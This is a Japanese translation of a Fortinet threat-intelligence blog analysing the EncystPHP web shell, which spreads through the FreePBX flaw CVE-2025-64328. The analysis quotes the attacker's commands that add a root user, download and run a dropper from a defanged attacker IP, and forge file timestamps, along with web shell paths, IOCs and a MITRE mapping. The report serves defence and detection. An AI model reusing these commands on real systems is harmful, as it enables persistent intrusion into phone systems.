Webシェルを悪用し脆弱なシステムを乗っ取る「EncystPHP」
提供: フォーティネットジャパン
本記事はフォーティネットジャパンが提供する「FORTINETブログ」に掲載された「武器化されたWebシェル「EncystPHP」の解明」を再編集したものです。
米国時間2026年1月28日に掲載されたフォーティネットブログの抄訳です。
影響を受けるプラットフォーム:FreePBX Endpoint Manager v17.0.2.36 – v17.0.3
影響を受けるユーザー :あらゆる組織
影響 :リモートの攻撃者による脆弱なシステムの乗っ取り
深刻度 :高
FortiGuard Labsは、「EncystPHP」と命名したWebシェルを発見しました。EncystPHPは、リモートコマンドの実行、永続化メカニズム、Webシェルの展開を含む高度な機能を備えています。インシデントは昨年12月初旬に発生し、FreePBXの脆弱性(CVE-2025-64328)の悪用を通じて伝播しました。
この悪意ある活動は、2020年に初めて確認されたハッカーグループINJ3CTOR3と関連していると考えられます。当初、同グループはCVE-2019-19006を集中的に悪用していましたが、2022年にはCVE-2021-45461を介してElastixシステムに焦点を移しました。これらのインシデントでは、FreePBXの脆弱性の悪用から始まり、ターゲット環境にPHPのWebシェルが展開されます。フォーティネットは、本キャンペーンがINJ3CTOR3に関連する最近の攻撃活動と行動パターンを反映していると評価しています。
以下は、関連するインシデントとEncystPHP Webシェルの詳しい分析です。
インシデントの概要
Webシェルは、CVE-2025-64328(FreePBX Endpoint Managerの管理インタフェースに存在する認証後のコマンドインジェクションの脆弱性)を介して配信されました。
この悪用はブラジルを起点として行われ、クラウドソリューション、通信サービス、ITインフラストラクチャを専門とするインドのテクノロジー企業が管理する被害者環境を標的としていました。
攻撃者は、IPアドレス 45[.]234[.]176[.]202(ドメイン crm[.]razatelefonia[.]pro)からEncystPHPのドロッパーをダウンロードしました。このIPアドレスに紐づくRaza Telefoniaというサイトは、VoIP管理システムのログイン画面を装っています。
ダウンロード元の new/ ルートへの接続要求は、自動的にk.phpという別のドロッパーにリダイレクトされます。
マルウェア分析
EncystPHPは当初、FreePBXの脆弱性CVE-2025-64328を悪用して配信されていました。このマルウェアは、cという名前のファイルを介して被害ホスト上にWebシェルを展開しており、このファイルが以降の解析の起点となります。
ドロッパーはまず、ajax.phpとmodel.phpのファイル権限を000に変更し、両方のファイルを読み取り不可、書き込み不可、実行不可にします。
EncystPHPは次に、/etc/freepbx.conf からデータベースの構成情報を収集しようと試み、cronジョブのエントリーと、ampuser、svc_freepbx、freepbx_svc、bluej、nahda、FreePBX_setup、emoadmin、nvd0rzを含む複数のFreePBXユーザーアカウントを削除します。
続いて、Base64デコード関数、パケットヘッダー、シェルコマンドを実行するPHP関数などの内容を手がかりとして、Webシェルに関連するPHPファイルを検索し、一致するファイルをすべて削除します。
EncystPHPはまた、Badr、b3d0r、pastebin、yokyok、bm2cjnRXac1WW3KT7k6MKTRといった文字列を含むPHPファイルをスキャンし、これらのファイルを削除します。これらは、Webシェル自体の古いバージョンや他の悪意あるPHPファイルに関連している可能性があります。
侵害されたホストの制御を永続化するために、このマルウェアは newfpbx というroot権限を持つユーザーを作成し、複数のユーザーアカウントのパスワードを同一の値にリセットした上で、権限をエスカレートさせます。
| useradd -s /bin/bash -ou 0 -g 0 -p '$1$faV63BKr$4jH3MqYYmrpM55P.AWD2U1' newfpbx &>/dev/null |
この動作に従って、EncystPHPはSSH公開鍵をインジェクションし、デフォルトのSSHポート(22)が常に開放された状態になるようシステム構成を変更します。
さらに、Webシェルの展開と永続化を支えるため、追加のドロッパーをダウンロードします。
| (setsid wget "hxxp://45[.]234[.]176[.]202/new/k.php" -O /var/spool/asterisk/tmp/serv 2>/dev/null >/dev/null; bash /var/spool/asterisk/tmp/serv 2>/dev/null > /dev/null & ) 2>&1 |
図13:Base64エンコードされたコマンドで別のドロッパーをダウンロードする
cドロッパー実行の最終段階で、EncystPHPはログファイルを改ざんし、endpointというFreePBX Endpoint Managerモジュールを削除します。これらの処理が完了すると、FreePBX関連ファイルのファイル権限を復元し、サービス例外を回避するための構成を再読み込みします。
cドロッパーは、Base64エンコードされたWebシェルを展開し、k.phpという名前の別のドロッパーをダウンロードします。k.phpドロッパーも、Base64エンコードされたWebシェルの展開、構成コンポーネントの設定、永続化メカニズムの確立を含む同様の処理を実行します。
Webシェル
ペイロードはBase64エンコード形式で配信され、ドロッパーコンポーネントによって実行時にデコードされます。デコードされたPHP Webシェルは、ajax.phpという正規のFreePBXファイルを装ってディスクに書き込まれ、アプリケーションの構造に紛れ込むよう設計されています。
認証には単純な検証メカニズムが使用され、Webインタフェースを介して入力された平文のパスワードがMD5でハッシュ化され、Webシェルに埋め込まれたハードコードされたハッシュ値に照合されます。
認証に成功すると、Webシェルは Ask Masterと題された対話型インタフェースを公開します。このインタフェースには、ファイルシステムの列挙、プロセスのインスペクション、アクティブなAsteriskチャネルの照会、Asterisk SIPピアの一覧表示、複数のFreePBXおよびElastix構成ファイルの取得など、複数の定義済み操作コマンドが含まれています。
ElastixとFreePBXの管理コンテキストを活用することで、Webシェルは昇格した特権で動作し、侵害されたホスト上で任意のコマンドの実行や、PBX環境を通じた発信通話を開始できるようになります。
ドロッパー
k.phpファイルにも、前述のBase64エンコードされたWebシェルが含まれています。実行されると、ペイロードをデコードしてajax.phpとしてディスクに書き込み、複数の場所に展開します。
このドロッパーは、パス/var/www/html/ の下に digium_phones/, rest_phones/, digium_phoness/, phones/, fpbxphones/, freepbxphones/, and freepbx/を含む複数のディレクトリを作成します。
続いて、WebシェルEncystPHPを、/var/www/html/admin/views/ajax.phpおよび/var/www/html/rest_phones/ajax.phpから、以下の表のファイルパスにコピーします。これらのパスは、一般的にアクセス可能なWebルートに対応しており、1つのインスタンスが削除されても代替のアクセスポイントが利用可能であるよう確保することでレジリエンスを高めています。
| /var/www/html/rest_phones/ajax.php |
| /var/www/html/admin/modules/core/ajax.php |
| /var/www/html/digium_phones/ajax.php |
| /var/www/html/admin/assets/js/config.php |
| /var/www/html/admin/assets/config.php |
| /var/www/html/admin/assets/ajax.php |
| /var/www/html/admin/modules/core/ajax.php |
| /var/www/html/phones/ajax.php |
| /var/www/html/digium_phoness/ajax.php |
| /var/www/html/fpbxphones/ajax.php |
| /var/www/html/freepbxphones/ajax.php |
| /var/www/html/freepbx/ajax.php |
Webシェルを展開した後、ドロッパーはタイムスタンプを偽造して正規ファイルのタイムスタンプと一致させ、日常的なインスペクションで検知されにくくします。
| touch /var/www/html/admin/views/ajax.php -r /var/www/html/admin/views/footer.php |
次に、マルウェアはBase64エンコードされた構成ファイルをデコードし、/var/www/html/admin/views/.htaccess に書き込みます。この構成により、URLリダイレクトのための RewriteCond および RewriteRule ディレクティブが有効になります。これらのルールはまず、要求されたリソースがディレクトリでもファイルでもシンボリックリンクでもないことを検証します。最終ルールは、1文字以上の空白文字で始まる要求をconfig.phpにリダイレクトするよう指定します。
最後に、ドロッパーはBase64エンコードされたシェルスクリプトをデコードし、/var/spool/asterisk/tmp/test.sh および /tmp/test.sh. に書き込みます。このスクリプトは bashを使って実行され、その後にフォレンジック上の痕跡を残さないようスクリプト自体が削除されます。
永続化
EncystPHPにより実装される永続化メカニズムは、4つの段階で構成されます。最初に、test.shを実行する前に永続性を確立します。この段階で、ドロッパーcは、セカンダリドロッパーk.phpを毎分ダウンロードする複数のcrontabエントリーを設定し、 /var/lib/asterisk/bin/zen2 および /var/lib/asterisk/bin/devnull2 として保存します。
次に、 test.sh は第2および第3の永続化段階をトリガーします。license.phpというBase64エンコードされたファイルをデコードし、 /var/www/html/admin/modules/freepbx_ha/ に書き込みます。このファイルはその後、2つのドロッパー(c、k.php)をダウンロードし、追加のcrontabエントリーを設定します。
第3段階では、3分ごとに定期的にドロッパーk.phpをダウンロードし、 /var/lib/asterisk/bin/devnull として保存します。次に、rmコマンドを実行せずに3回echo出力することで、EncystPHPがシステムから削除されたように見せかけます。
第4段階の永続化は、license.phpを介して実行されます。ドロッパー k.phpを/var/lib/asterisk/bin/devnull2として、ドロッパーcを /var/lib/asterisk/bin/devnull23 および /trmp/devnull24 として、1分間隔でダウンロードします。この段階では、永続性を維持することに加えて、エラー報告を無効にし、EncystPHPを実行し、ログ痕跡の削除を行い、検出を困難にします。
結論
本インシデントは、CVE-2025-64328を悪用して、EncystPHPのような永続性を備えたステルス型のWebシェルをFreePBX環境に展開できることを示しており、パッチが適用されていないPBXシステムが依然として高価値な標的であることを浮き彫りにしています。攻撃手法は決して新しいものではありませんが、観測された振る舞いは、過去のINJ3CTOR3キャンペーンを忠実に反映しつつ、現在の運用状況に適応した、能動的かつ継続的な脅威であることを反映しています。
このような活動は、正規のFreePBXやElastixコンポーネントに巧妙に紛れ込むことが可能であるため、即座に検知されず、影響を受けたシステムが長期的な永続化、不正な管理アクセス、通話リソースの悪用など、よく知られたリスクにさらされることになります。この脆弱性の悪用が成功した場合、組織はシステムが完全に侵害されたものとして扱い、さらなる影響を軽減するために、早急な修復、監視、セキュリティの強化を優先して実施すべきです。
フォーティネットのソリューション
この記事で説明したマルウェアは、FortiGuardアンチウイルスによって以下として検知され、ブロックされます。
PHP/EncystPHP.A!tr
BASH/EncystPHP.A!tr
FortiGuard AntiVirusサービスエンジンは、FortiGate、FortiMail、FortiClient、FortiEDRに統合されています。これらの製品を最新のシグネチャで運用しているお客様は、本レポートに記載されているマルウェアコンポーネントから保護されます。
FortiGuard Webフィルタリングサービスは、このC2サーバーをブロックします。
FortiGuard Labsは、以下の脆弱性を悪用するサイバー攻撃に対するIPSシグネチャを提供しています。
CVE-2025-64328: 59448 FreePBX.Administration.GUI.filestore.Command.Injection
基礎的なセキュリティ意識の強化を目指すお客様は、サイバーセキュリティに関するフォーティネット認定ファンダメンタルズ(FCF)トレーニングの実施もご検討ください。このモジュールを受講することで、エンドユーザーがフィッシング攻撃を特定して自らを保護する方法を習得できます。
FortiGuard IPレピュテーションおよびアンチボットネットセキュリティサービスは、フォーティネットが全世界に展開するセンサーネットワーク、CERTの連携、MITRE、信頼できる業界パートナー、その他のインテリジェンスソースから収集した悪意あるIPインテリジェンスを相関させることで、このキャンペーンに関連するインフラストラクチャをプロアクティブにブロックします。
このようなサイバーセキュリティの脅威の影響を受けていることが疑われる場合は、グローバルのFortiGuardインシデントレスポンスチームにお問い合わせください。
IOC(Indicators of Compromise:侵害指標)
URL
hxxp://45[.]234[.]176[.]202/new/c
hxxp://45[.]234[.]176[.]202/new/k.php
ホスティング
45[.]234[.]176[.]202
187[.]108[.]1[.]130
ファイル
71d94479d58c32d5618ca1e2329d8fa62f930e0612eb108ba3298441c6ba0302
7e3a47e3c6b82eb02f6f1e4be6b8de4762194868a8de8fc9103302af7915c574
fc514c45fa8e3a49f003eae4e0c8b6a523409b8341503b529c85ffe396bb74f2
285fac34a5ffdac7cb047d412862e1ca5e091e70c0ac0383b71159fdd0d20bb2
29d74963f99563e711e5db39261df759f76da6893f3ca71a4704b9ee2b26b8c7
EncystPHPキャンペーンのMITRE ATT&CKマッピング
| 戦術 | 手法ID | 手法名 | EncystPHPで観測された活動 |
| 初期アクセス | T1190 | 公開されたアプリケーションの悪用 | CVE-2025-64328を介したFreePBX Endpoint Managerの悪用による、認証後のコマンドインジェクションの実行 |
| 実行 | T1059.004 | コマンドやスクリプトのインタプリタ:Unixシェル | インジェクションされたペイロードやダウンロードされたシェルスクリプトを介したBashコマンドの実行 |
| 永続化 | T1053.003 | スケジュールされたタスク / ジョブ:Cron | ドロッパーのダウンロードと実行を繰り返すための、複数のcrontabエントリーの設定 |
| 永続化 | T1505.003 | サーバーソフトウェアコンポーネント:Webシェル | 正規のFreePBX PHPファイル(ajax.php、config.php)を装ったEncystPHPの展開 |
| 権限昇格 | T1068 | 権限昇格を目的とした悪用 | FreePBXの管理者コンテキストを悪用した、昇格した権限でのコマンドの実行 |
| 権限昇格 | T1136.001 | アカウントの作成:ローカルアカウント | UID 0のroot権限を持つユーザーアカウント(newfpbx)の作成 |
| 認証情報アクセス | T1003 | OS認証情報ダンプ | /etc/freepbx.confからのデータベース資格情報の収集 |
| 防御の回避 | T1070.004 | ホスト上の痕跡消去:ファイルの削除 | ログ、cronの痕跡、FreePBX Endpoint Managerモジュールの削除 |
| 防御の回避 | T1222.002 | ファイルおよびディレクトリ権限の変更:Linux | ファイル権限の000への変更による、アクセスのブロックとインスペクションの妨害 |
| 防御の回避 | T1036.005 | なりすまし:正規の名称または場所への一致 | 正規FreePBXファイルパスへのWebシェルの書き込みと、タイムスタンプの偽装 |
| 防御の回避 | T1562.001 | 防御の弱体化:ツールの無効化または変更 | 競合するWebシェルの削除とエラー報告の無効化 |
| ラテラルムーブメント | T1021.004 | リモートサービス:SSH | 攻撃者が管理するSSH公開鍵のインジェクションとポート22の強制的な解放 |
| コマンド&コントロール | T1105 | 侵入時ツール転送 | 攻撃者が管理するインフラストラクチャからのドロッパー(c、k.php)の繰り返しダウンロード |
| コマンド&コントロール | T1071.001 | アプリケーション層プロトコル:Webプロトコル | HTTPを使用したペイロード配信とコマンド実行 |
| 影響 | T1496 | リソースの乗っ取り | 不正な通話操作のためのPBXリソースの悪用 |
この記事の編集者は以下の記事もオススメしています
-
sponsored
一見無害な文書が侵入口に。中東周辺で確認されたサイバー攻撃の手口 -
sponsored
Microsoft Defenderの無効化に使われる多段階型マルウェア攻撃 -
sponsored
Windowsの未知テレメトリファイルがマルウェアの痕跡を隠す可能性




























